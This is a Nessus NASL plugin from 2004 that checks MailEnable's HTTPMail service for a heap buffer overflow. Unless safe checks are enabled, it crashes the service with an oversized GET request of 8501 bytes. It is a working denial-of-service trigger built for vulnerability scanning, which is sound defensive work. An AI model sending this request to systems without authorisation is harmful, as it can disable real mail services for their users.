#
# This script was written by George A. Theall, <theall@tifaware.com>.
#
# See the Nessus Scripts License for details.
#

if (description) {
  script_id(14656);
  script_bugtraq_id(10312);
  script_version("$Revision: 1.2 $");

# script_cve_id("CVE-MAP-NOMATCH");
# NOTE: no CVE id assigned (gat, 09/2004)
  if (defined_func("script_xref")) {
    script_xref(name:"OSVDB", value:"6037");
  }

  name["english"] = "MailEnable HTTPMail Service GET Overflow Vulnerability";
  script_name(english:name["english"]);
 
  desc["english"] = "
The target is running at least one instance of MailEnable -
http://www.mailenable.com/ - that has a flaw in the HTTPMail service
(MEHTTPS.exe) in the Professional and Enterprise Editions.  The flaw
can be exploited by issuing an HTTP request exceeding 4045 bytes (8500
if logging is disabled), which causes a heap buffer overflow, crashing
the HTTPMail service and possibly allowing for arbitrary code
execution. 

Solution : Upgrade to MailEnable Professional / Enterprise 1.19 or
later. 

Risk factor : High";
  script_description(english:desc["english"]);
 
  summary["english"] = "Checks for GET Overflow Vulnerability in MailEnable HTTPMail Service";
  script_summary(english:summary["english"]);
 
  script_category(ACT_DENIAL);
  script_copyright(english:"This script is Copyright (C) 2004 George A. Theall");

  family["english"] = "Denial of Service";
  script_family(english:family["english"]);

  script_dependencie("global_settings.nasl", "http_version.nasl");

  exit(0);
}

include("global_settings.inc");
include("http_func.inc");

host = get_host_name();
# nb: HTTPMail defaults to 8080 but can run on any port. 
port = 8080;
if (get_port_state(port)) soc = http_open_socket(port);
if (!soc) {
    port = get_http_port(default:80);
    if (get_port_state(port)) soc = http_open_socket(port);
}
if (!soc) {
  if (log_verbosity > 1) display("Can't determine port for MailEnable's HTTPMail service!\n");
  exit(1);
}
http_close_socket(soc);
if (debug_level) display("debug: searching for GET Overflow vulnerability in MailEnable HTTPMail Service on ", host, ":", port, ".\n");

# Make sure banner's from MailEnable.
banner = get_http_banner(port);
if (debug_level) display("debug: banner =>>", banner, "<<.\n");
if (!egrep(pattern:"^Server: .*MailEnable", string:banner)) exit(0);

# Try to bring it down.
if (safe_checks() == 0) {
  soc = http_open_socket(port);
  if (soc) {
    req = string(
      # assume logging is disabled.
      "GET /", crap(length:8501, data:"X"), " HTTP/1.0\r\n",
      "\r\n"
    );
    if (debug_level) display("debug: sending =>>", req, "<<\n");
    send(socket:soc, data:req);
    res = http_recv(socket:soc);
    http_close_socket(soc);
    if (res) {
      if (debug_level) display("debug: res =>>", res, "<<\n");
    }
    else {
      security_hole(port);
    }
  }
}
